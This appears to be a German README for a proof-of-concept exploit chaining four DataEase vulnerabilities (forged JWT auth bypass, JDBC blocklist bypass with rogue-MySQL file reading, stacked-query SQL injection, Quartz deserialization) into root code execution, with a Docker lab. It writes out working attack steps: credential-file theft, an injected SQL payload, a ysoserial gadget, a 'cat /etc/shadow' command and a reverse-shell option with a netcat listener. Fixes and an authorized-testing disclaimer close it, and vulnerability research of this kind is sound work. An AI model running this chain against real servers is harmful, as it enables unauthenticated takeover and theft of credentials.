
Automatisierter Exploit für DataEase: 4-Schwachstellenkette (Auth-Bypass, JDBC-Blocklist-Bypass, SQL-Injection, Java-Deserialisierung) ermöglicht nicht authentifizierte RCE. Enthält Docker-Lab und Python-PoC.
Authentifizierungsumgehung → JDBC-Blocklist-Umgehung (beliebiges Dateilesen) → SQL-Injection → Java-Deserialisierung in Quartz → Remote-Code-Ausführung als
root.In sich geschlossenes lokales Labor (Docker) + funktionierender PoC. Behoben in DataEase v2.10.21.
DataEase ist eine beliebte Open-Source-BI- und Datenvisualisierungsplattform (Java / Spring Boot). Versionen ≤ v2.10.20 sind anfällig für eine Kette von vier Schwachstellen, die zusammen ein netzwerkerreichbares DataEase in Remote-Code-Ausführung verwandeln:
| # | CVE | Klasse | Was es uns bringt |
|---|
| 1 | CVE-2026-23958 | Authentifizierungsumgehung (CWE-287/CWE-347) | Als admin agieren — keine gültige Signatur benötigt |
| 2 | CVE-2026-40899 | JDBC-Blocklist-Umgehung (CWE-20) | Beliebiges Dateilesen → Backend-DB-Anmeldedaten stehlen |
| 3 | CVE-2026-40900 | SQL-Injection / gestapelte Abfragen (CWE-89) | In DataEase-eigene Datenbank schreiben |
| 4 | CVE-2026-40901 | Java-Deserialisierung (CWE-502) | RCE als Root über den Quartz-Job-Speicher |
# 1. bring up a vulnerable DataEase v2.10.20 + MySQL
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
# 2. fire the chain
python3 exploit/de_rce_chain.py
# 3. a few seconds later, confirm code execution as root
docker exec dataease cat /tmp/pwned_CVE_2026_40901
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
# PWNED_BY_CVE_2026_40901
# Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux
Alles läuft lokal in Docker. Keine externen Dienste, kein Internetziel.
docker-compose.yml anfälliges DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.yml zeigt die DB auf lokales mysql-de
mysql/ my.cnf + init.sql (erzeugt die leere `dataease`-DB)
exploit/ der PoC
Starten:
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
http://localhost:8100 (API-Präfix /de2api)admin / DataEase@123456Voraussetzungen auf dem Host: Docker, Python 3.8+ mit cryptography
(pip install -r exploit/requirements.txt) und die Docker-CLI (wird verwendet, um
ysoserial in einem Einweg-eclipse-temurin:8-jre-Container auszuführen, um das Gadget zu erstellen).
DataEase authentifiziert Anfragen in einem Servlet-Filter, TokenFilter
(sdk/common/.../auth/filter/TokenFilter.java). Es liest das Token und ruft
TokenUtils.validate() auf, was in Folgendem endet:
// io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
DecodedJWT jwt = JWT.decode(token); // <-- decode only, NO signature check
Long userId = jwt.getClaim("uid").asLong();
Long oid = jwt.getClaim("oid").asLong();
...
return new TokenUserBO(userId, oid);
}
JWT.decode() überprüft nie die Signatur. Die einzigen Prüfungen sind: Das Token hat
≥ 100 Zeichen und trägt einen Integer-uid-Anspruch. Also lässt jedes JWT, das
"uid": 1 angibt, die Anfrage als integrierten Administrator (uid 1) laufen.
Es gibt einen zweiten Filter (CommunityTokenFilter), der tatsächlich eine Signatur
für den X-DE-TOKEN-Header überprüft – aber nur unter bestimmten Bedingungen, und der
Signaturschlüssel ist entweder ein pro Benutzer geheimer Schlüssel oder, in einer einfachen Community-Build, der MD5
des hartcodierten Standardpassworts DataEase@123456
(SubstituleLoginConfig → dataease.default-pwd). Der zugehörige Share-Link-Pfad
(X-DE-LINK-TOKEN) ist mit dem hartcodierten Schlüssel
link-pwd-fit2cloud (LinkTokenUtil.defaultPwd) signiert und wurde vor dem Fix ebenfalls ohne
Überprüfung dekodiert.
Nettoeffekt: Ein Angreifer kann einen Administrator-Token prägen. de_common.py
enthält forge_jwt(), das den signaturlosen Token erzeugt; der PoC unterstützt
auch einfach das Einloggen mit den allgegenwärtigen Standard-Anmeldedaten, um einen
vollständig gültigen X-DE-TOKEN für den Rest der Kette zu erhalten.
Der Fix (Commit 00c169caa) bewirkt, dass TokenFilter das echte pro-Ressource-Geheimnis
nachschlägt und tatsächlich verifier.verify(...) aufruft.
Wenn Sie eine MySQL-Datenquelle hinzufügen, verweigert DataEase eine Reihe gefährlicher JDBC-Parameter.
Diese Blockliste lebt in einem Lombok @Data-Feld:
// io.dataease.datasource.type.Mysql (extends DatasourceConfiguration, @Data)
private List<String> illegalParameters = Arrays.asList(
"maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
"detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
"allowLoadLocalInfileInPath");
Weil @Data automatisch setIllegalParameters(...) generiert, wird Jackson es bereitwillig
aus vom Angreifer kontrolliertem JSON befüllen. Das Senden von "illegalParameters": [] im
(Base64-kodierten) configuration-Blob leert die Blockliste, bevor sie überprüft wird.
Wir können dann die Datenquelle auf einen Rogue-MySQL-Server mit
allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/ verweisen
und beliebige Dateien vom DataEase-Host via MySQL LOCAL INFILE-Mechanismus lesen.
# terminal A — rogue server, choose any file to steal
python3 exploit/rogue_mysql.py --port 3307 \
--file /opt/apps/config/application-standalone.yml
# terminal B — make DataEase connect to it (host.docker.internal reaches your host)
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307
Ergebnis — DataEase gibt uns seine eigenen Backend-DB-Anmeldedaten:
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
spring:
datasource:
url: jdbc:mysql://mysql-de:3306/dataease?...
username: root
password: Password123@mysql
Diese Anmeldedaten verwendet ein Angreifer, um Schritt 3 auf DataEase-eigene Datenbank
auszurichten. Der Fix (Commit 16a950f96) fügt @JsonIgnore zu jedem
illegalParameters-Feld hinzu, sodass es nicht mehr aus JSON gesetzt werden kann.
previewSqlPOST /de2api/datasetData/previewSql nimmt einen Base64-kodierten SQL-String
auf und umschließt ihn ohne Einzelanweisungsvalidierung als Unterabfrage:
SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0
Kommentare werden entfernt, aber wir können die Klammern ausgleichen und ; verwenden, um
zusätzliche Anweisungen auszuführen. Da wir die Datenquelle kontrollieren, aktivieren wir
allowMultiQueries=true (nicht in der Blockliste von v2.10.20), also werden gestapelte
Abfragen ausgeführt:
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1
was der Server zu drei echten Anweisungen zusammenfasst. Wenn wir diese Datenquelle auf DataEases
eigene Datenbank zeigen (Anmeldedaten aus Schritt 2), können wir in ihre Quartz-Tabellen
schreiben. Fixes: 15611593b fügt allowMultiQueries zur Blockliste hinzu und
e89059d88 verstärkt den Speicher-/Engine-Fluss.
DataEase plant einen wiederkehrenden "Datenquellen-Statusprüfung"-Quartz-Job:
deSyncJob, Job Datasource / check_status, Klasse
io.dataease.job.schedule.CheckDsStatusJob0 0/6 * * * ? * (Standard: alle 6 Minuten)Quartz verwendet einen JDBC-Job-Store mit useProperties=false, daher wird die
JobDataMap jedes Jobs in der Spalte QRTZ_JOB_DETAILS.JOB_DATA als
rohes Java-serialisiertes Objekt gespeichert (Sie können es sehen: Der Blob beginnt mit der
Serialisierungsmagie AC ED 00 05 … org.quartz.JobDataMap). Wenn der Scheduler nach
Triggern sucht, macht er in StdJDBCDelegate.selectJobDetail folgendes:
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA"); // new ObjectInputStream(...).readObject()
DataEase enthält commons-collections-3.2.1.jar (und velocity-1.7.jar) —
klassische Deserialisierungs-Gadget-Quellen. Mit Schritt 3 überschreiben wir JOB_DATA
mit einem ysoserial CommonsCollections6-Payload (und ziehen in derselben gestapelten
Abfrage die NEXT_FIRE_TIME des Triggers auf jetzt, sodass wir nicht auf den
6-Minuten-Cron warten müssen). Beim nächsten Scheduler-Durchlauf löst readObject() die
Gadget-Kette aus (LazyMap → InvokerTransformer → Runtime.exec) und unser Befehl
wird ausgeführt – als root im Container. Der Fix-Satz (e05bda764, …) entfernt die
anfällige Velocity-Abhängigkeit und die Erreichbarkeit der Senke.
Der PoC erzeugt das Gadget für Sie (busybox-freundliche Befehlsumhüllung – die
Ziel-Shell ist Alpine ash und Runtime.exec erhält keine Shell, daher verwenden wir
sh -c echo${IFS}<b64>|base64${IFS}-d|sh).
pip install -r exploit/requirements.txt
# full chain (default: writes an id/uname proof file inside the container)
python3 exploit/de_rce_chain.py
# arbitrary command
python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow'
# reverse shell (start `nc -lvnp 4444` first)
python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444
# verify code execution
docker exec dataease cat /tmp/pwned_CVE_2026_40901
Zurücksetzen des vergifteten Quartz-Jobs zwischen den Läufen (optional):
exploit/reset_quartz.sh
| Pfad | Zweck |
|---|---|
exploit/de_common.py | HTTP-Client: /dekey RSA-Wiederherstellung, Login, JWT-Fälschung, Datenquelle + previewSql |
exploit/de_rce_chain.py | End-to-End Auth → SQLi → Quartz-Deserialisierung RCE |
exploit/rogue_mysql.py | Minimaler Rogue-MySQL-Server (LOCAL INFILE-Dateilesen) für CVE-2026-40899 |
exploit/file_read.py | Treibt CVE-2026-40899 gegen den Rogue-Server |
exploit/reset_quartz.sh | Stellt einen sauberen Quartz-Job nach einem Lauf wieder her |
admin-Passwort (DataEase@123456) sofort.useProperties=true, wenden Sie einen
JVM-Deserialisierungsfilter an (-Djdk.serialFilter=…) und entfernen Sie
commons-collections:3.2.1 / velocity:1.7 aus dem Klassenpfad.Nur für Bildung und autorisierte Tests. Das Labor zielt auf einen Container ab, den Sie selbst ausführen. Richten Sie keines davon auf Systeme, die Sie nicht besitzen oder für die Sie keine explizite schriftliche Genehmigung zum Testen haben.
00c169caa, 16a950f96, 15611593b, e89059d88, e05bda764
(DataEase v2.10.20..v2.10.21)